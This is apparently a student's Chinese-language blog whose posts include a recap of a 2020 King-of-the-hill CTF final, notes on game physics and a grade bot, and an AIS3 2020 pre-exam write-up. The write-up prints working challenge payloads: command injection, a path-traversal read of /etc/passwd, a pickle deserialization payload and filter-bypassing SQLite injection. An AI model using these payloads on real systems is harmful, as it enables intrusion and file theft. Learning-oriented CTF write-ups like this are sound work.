2020榮耀資戰

2020 合勤榮耀資戰 - 決賽

比賽規則

  • 地點: 台北文創六樓
  • 形式: King of the hill CTF
  • 三階段開啟機器
    • 第一階段: 50台
    • 第二階段: 30台
    • 第三階段: 20台
    • 一組有5組ip可以做使用
    • 進階組則有兩個網段
  • 每組有一組字串(token)作為識別,需要將東西寫到網頁(web:80 port)根目錄上,系統會每分鐘去監測該段token是否存在,占領一分鐘得一分
  • 並無限制封鎖服務,也就是說可以把該主機原本預計有的漏洞服務關掉,讓別人根本打不進來((結果導致大就用iptable來ban
  • 在同網段,弱點偵測(阿怎麼都try弱密碼)、系統入侵(腳本小子大賽)、漏洞防護(關服務囉)

Day1

早上

  • 主要就一些長官來致詞,寒暄一下,以及講解規則
  • 先拿nmap開掃,然後看到幾台有80的就先打打看
    • 最一開始還有wordpress、xampp站的形狀,摸到一半整台就被佔走了
    • 有個奇怪的站,裡面就xsssqli那些經典漏洞,不過嘗試過用;來做stack-based sqli,都一直失敗,眼睜睜的看著別人在首頁寫下script,直接佔走首頁的留言板,望塵莫及
    • 還有一些IIS、apache、nginx的default page,不過都沒什麼想法,後來很像幾乎都是80的洞,聽說大部分都是ssh爆破弱密碼之類的…
    • 打到累就吃個便當跟餅乾
  • 結果早上都沒拿到半台機器,只能眼睜睜看著別人在榜上一直上上下下

下午

  • 看著大家逐漸佔下機器,看看掃到的那些ip,丟上去幾乎都被別人佔走,不然就是掛掉,幾乎都沒辦法打了
  • 後來開了第二波機器,看到有開3389445,就google看看有沒有windows的exploit來試試,不過似乎都沒有
    • 大概在結束個前兩個小時,被我試到MS17-010(永恆之藍)的exploit能成功打進去,成功拿到meterpretershell
    • 拿到shell之後,我們討論的做法是先將token寫到網頁根目錄,接下來想辦法把能關的服務都關掉,想辦法開防火牆
  • 不過事情沒那麼簡單,我們都不熟windows,又加上只有cli
    • 首先要找到webroot,就查了一堆文章,原先以為webroot是在tomcat資料夾裡面,後來找到只要將檔案寫到C:\inetpub\wwwroot裡面,檔案名稱叫index.html
    • 接著想辦法要開防火牆,有找到幾command以為是設定防火牆,結果回家才發現只是設定防火牆的規則,根本沒開。不過這台都沒人打進來,卑鄙源之助
      • 而且windows還將防火牆分三層(私人、公用…甚麼的),也不知道到底開哪層
    • 中間斷斷續續的遇到shell斷掉,有時打得進去打不進去的狀況
  • 後來又發現有兩台根本一模一樣的洞,在80port,是403 forbiddent的頁面
    • 就按照流程一次,讓我們靠一個exploit,同時能有三台機器在上面賺分數
    • 不過時間很像也快結束,所以很像也只賺個100分左右

Day2

早上

  • 隔天早上一來,比賽一開始還發現機器都還活著,還幫我們賺了一些分數
    • 不過後來快到中午很像有被別人打掛,或者是機器當機,不確定原因,但我也進不去shell,所以我也不清楚實際上發生甚麼事
  • 後來到中午又陸陸續續開了20台吧,因為題目重複的關係,導致那些原本有exploit就照做,而我依然只能看著80放著別人的flag,加上有將近一半的機器都被打掛或是被佔走換了密碼,也不知道要打甚麼
  • 另外還有遇到進的去shell,但甚麼都打不進去的狀況,後來感覺像是honeypot),很像被別人耍成白癡一樣

下午

  • 我還多掙扎了幾下,盡量找找看有甚麼其他port有甚麼exploit,不過try都失敗
  • 果斷開啟跑跑來玩,排位打起來,直接放棄

心得

  • 第一次體驗這種形式的ctf還蠻好玩的,不過因為比賽規則的關係,讓大家普遍都覺得失去King of the hill的意義,很像失去了原本ctf應有的品質
  • 以下列出幾項我覺得能改善的部分(不過我認為有些真的要做到也有一定難度)
    • 並無限制伺服器服務(service)的完整性,導致大家進去就關服務關Port,不然就將防火牆打開,讓大家根本沒有機會再打進來
      • 我自認為有點像是大家預定要在山上格鬥,結果先到的那個人直接把要格鬥的場地直接圍起來,讓大家都不要進來,直接在裡面稱霸
    • 太多靶機幾乎完全相同,讓原本打到洞的人可以持續佔領,讓別人也無法動那台
    • 第一天一直放相同的歌單,很像只loop三首吧。不過到了第二天雖然歌單有換,但很像就是一直The future, gay gay gay i i呵呵(求歌單),還看到其他組的人跟著空耳
    • 運氣成分大於技術部分,很像也不是ctf應該有的情況
  • 不過主辦單位認為,這是為了符合社會現實情況,實際的機器也有可能在其他地方找到相同,而且也並無限制使用一些防禦機制
    • 我個人認為這已經失去了king of the hill的原本目的了啦哈哈
  • 在頒獎典禮的過程,也有一些小插曲,我就不方便陳述太多細節了,很像增添了比賽的一點樂趣((誤
  • 雖然初賽很像吊車尾進去決賽的,不過進去還能夠拿個第九,很像還可以啦哈哈,雖然就只試到一個exploit而已

照片記錄

我都放在這了

留言與分享

Box2d-Lite

Side-project 成績Bot

  • 整合了暫存成績,以及教務處上傳的成績
  • 多了成績更新提醒功能,不過好像寫爆了QQ

近期分享

  • 本周還有比賽QQ,下周還有AIS3
  • 純粹隨筆紀錄,本周沒有很認真的寫,都在看box2d

留言與分享

專題

研究遊戲物理

GDC2006 - Box-2d-Lite

  • 為了專題,本人去啃了GDC的演講,結果感覺像是複習高中物理一樣
  • 主要是透過實際的物理,去讓遊戲世界更像真實世界的行為,想要深入研究的同胞們可以參考以下我整理之共筆
  • 本周希望能研究出source-code的細節,看自己能不能嘗試實作一個小東西出來

GDC

  • 全名為Game Developer Conference,遊戲開發者論壇
  • 對遊戲開發有興趣的人可以多看這些演講,不過全部都是英文的,有些真的有點難道懷疑人生QQ

遊戲開發是個大坑,跳下去才發現到新世界

Side-Project - Telegram-Bot

動機

  • 最近用了Python寫了一套能夠幫我爬學校暫存成績的Bot
  • 每次都要重新去學校官網登入成績真的很麻煩,乾脆直接寫一個Bot,簡化動作

概要

  • 主要使用了python-telegram這項套件,藉由綁定webhook,使伺服器端與bot相互溝通,再透過爬蟲將資料傳給bot
  • 有興趣的同胞們可以參考以下連結,其實網路上蠻多範例可以參考
  • Sample

留言與分享

概況

  • 這周我以為還要上課,後來發現其實根本不用,不過我幾乎都待在專題實驗是過活
  • 不過星期五機器人課還有開放demo,就純著佛系心態去試試看,結果成功走完一圈(雖然中途有點要失敗的感覺),不過我覺得是樹梅派處理運算速度太慢,導致很容易失準。
  • 接下來學校課程就等成績出來了,應該還需要一兩個禮拜的作業時間

研究遊戲物理

留言與分享

擬訂計畫

  • 自己大概規劃了暑假作息,希望能夠調整自己固定的作息時間
  • blog預計一周寫一次,覺得每天寫太累很容易放棄
  • 如果有研究甚麼新東西或是遇到bug應該會做個紀錄放在這
  • 買個domain希望能夠活用它

留言與分享

Editblog - font

hexo-tranquilpeak調整字體

動機

  • 因為原本英文字體我看得很不習慣,他是Merriweather,於是想要改它
  • 示意圖

過程

  • 嘗試過docs裡面改字體的方法,不過沒有成功,於是直接朝向css下手
  • 透過Chrome的開發者工具,能夠知道它實際css的位置
  • 必須更改source/theme/assets/style-c4ozc........css,如果改public的,下一次hexo generate會將記錄洗掉
  • 改的位置在.postShorten .postShorten-content, .postShorten .postShorten-excerpt
  • hexo g發布後即可更改

採坑

  • Chrome很像會紀錄之前的css,導致我一直以為我沒改成功,打開無痕後發現有改成功,字體為medium-content-serif-font

解法

留言與分享

AIS3-2020-pre-exam

簡述

  • 有一些題目跟去年一樣,應該是配合My-first-ctf吧
  • 跟去年比起來,我覺得自己成長蠻多的,覺得去年der我是菜雞
  • 放一下scoreboard紀錄一下,我是halloworld

Crypto

misc

Reverse

  • 🍍TsaiBro

    • 這題也是之前的,打開ida或ghidra,能拿到表與規則
    • 規則則是敲打密碼
  • 🎹Fallen Beat

    • java逆向
    • 利用jadx-GUI查看邏輯,修改邏輯請用jbe
    • 可以發現裡面有setvalue(),將MaxCombo跟total改成0,進行patch
      • 拆包
        • jar -xf Fallen_Beat.jar
      • 更新jar裡元素
        • jar -uf Fallen_Beat.jar Control/GameControl.class
    • 等三分鐘就有flag,如果是windows的用戶,通常會有解析度導致flag出不來,可以透過patch視窗大小來調整
    • 不過後來想想很像可以直接把生flag那段code拿來執行就好了
    • ref: https://www.talksinfo.com/how-to-edit-class-file-from-a-jar/
  • 🧠 Stand up!Brain

Web

  • 🐿️Squirrel
    • F12看一下,能夠撿到apihttps://squirrel.ais3.org/api.php?get=%2Fetc%2Fpasswd
    • 於是我們拿api的code
      • ?get=./api.php
    • 然後發現shell_exec,是個command-injection
      • $output = shell_exec(\"cat '$file'\");\n
      • ';ls /;'
    • 5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
      • ';cat /5qu1rr3l_15_4_k1nd_0f_b16_r47.txt;'
  • 🦈Shark

  • 🐘Elephant

    • 要先想到.git
    • 利用git-dumper把code dump下來
    • 發現source code
      • php-deserialize
      • 利用strcmp的缺陷,去構造陣列比較
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        <?php
        class User{
        public $name, $token;
        function __construct($name, $token) {
        $this->name = $name;
        $this->token = $token;
        }
        function canReadFlag() {
        return strcmp($flag, $this->token) == 0;
        }
        }
        $arr = array();
        $tmp = new User('AAA', $aaa);
        echo base64_encode(serialize($tmp));
  • 🐍Snake

    • python pickle的反序列化,一樣構造
    • 參考自: https://hackmd.io/@2KUYNtTcQ7WRyTsBT7oePg/BycZwjKNX#/5/9
    • script
      1
      2
      3
      4
      5
      6
      7
      import os
      import pickle
      import base64
      class A(object):
      def __reduce__(self):
      return (eval, ("open('/flag').read()",))
      print(base64.b64encode(pickle.dumps(A())))
  • 🦉Owl

    • 登入admin/admin,看source-code有source
      • <h3 class="text-center text-white pt-5"><a style="color: white" href="/?source">SHOW HINT</a></h3>
    • sqlite的sqli
    • 過濾方式,把東西寫三次繞過,最後用分號切開語句,後面接註解

      1
      2
      3
      $bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
      $username = str_ireplace($bad, '', $username);
      $username = str_ireplace($bad, '', $username);
    • payload

      • 先猜column(發現有3個)

        1
        '///*******///uniuniuniononon///******///selselselectectect///******///1///******///,2///******///,3;///******
      • 查表,看column

        1
        '///*******///uniuniuniononon///******///selselselectectect///******///1///******///,group_concat(sql)///******///,3///******///frfrfromomom///******///sqlite_master;///******

        -查garbage,就有flag嘞

        1
        '///*******///uniuniuniononon///******///selselselectectect///******///1///******///,group_concat(name||value)///******///,3///******///frfrfromomom///******///garbage;///***

Pwn

  • 👻 BOF
    • 就buffer-overflow,去年初過

留言與分享

GSS-03

前情提要

  • 沒想到更新已經是兩個月後的事了,結果因為專題關係,我離開GSS了
  • 不過多了許多時間弄專題跟資訊安全研究,還有看棒球

Course4 MVC

  • 使用C#來寫MVC架構,用原生MVC中的Html Helper Function
  • Model(資料模型)、View(秀出頁面)、Controller(資料邏輯判斷)

遇到的坑

Model

  • 字串串接SQL語句,SQL-injeciton風險
  • T-SQL(拿系統時間function,新舊版的不同)
    • 可能遇到的風險
      • 當用戶使用舊版的MSSQL,遇到新語句會發生bug
    • SYSDATETIME()
    • GETDATE()

View

  • Html.HiddenFor()可以藏值,可以使用model_bindingBOOK_ID不用querystring

Controller

  • SELECT SCOPE_IDENTITY() 可拿編號
  • HTMLencode prevent <BR>
  • html attr => MVC method (e.g. Querystring)

Coding Style

留言與分享

GSS-02

Course3 前端的基礎訓練

  • 這是使用kendo-ui做的一個圖書管理系統,主要是熟習整個lib的操作

以下分享各種坑

  • 新增
    • 日期驗證,給年份月份,即可通過驗證

建議的寫法

清除時,能夠將資料清空,方便下一筆輸入

  • 可以將清空包在function裡
  • 能夠做二次確認,避免誤觸

coding style

  • div包div不需縮排
  • style重複性過高,能夠將其劃分到css做整理
  • CSS做整合
  • 統一利用kendo取值,會比JQuery來的好,因為kendo有部分有例外處理
  • 格式能夠整合再一起,(ex: yyyy-MM-dd)
  • 注意id 與class的使用

當時學的小技巧,雖然很像大家都知道

VS 按F12可以回追function的來源位置

留言與分享

GSS_01

Course1 環境安裝

  • 安裝VS跟nuget,SSMS,跟公司的一些東西

Course2 MS-SQL語法練習

  • 當初寫的時候,就按照學校考試的方式寫,完全沒考慮過效率或者可讀性。寫出來的結果也符合期待,不過實際上是不能這樣子的

以下分享各種坑

  • inner join / left join / right join沒有考慮,全部寫inner join,導致有SQL-Query查出來會有部分資料會遺失

  • 列出前五名的值???

    • 當時天真的我就直接TOP(5),發現同分的都沒列出
    • 解法就是With ties
  • 列出一季當中的數量,當時用hardcode寫法

    • 問題: 一季的規則變怎辦
    • 解法: 把規則放在TABLE,萬一規則變只要改表
  • 會忘記規定,數字要三位一撇

留言與分享

作者的圖片

halloworld

Welcome halloworld’s website


fju-csie: grade 3


NewTaipei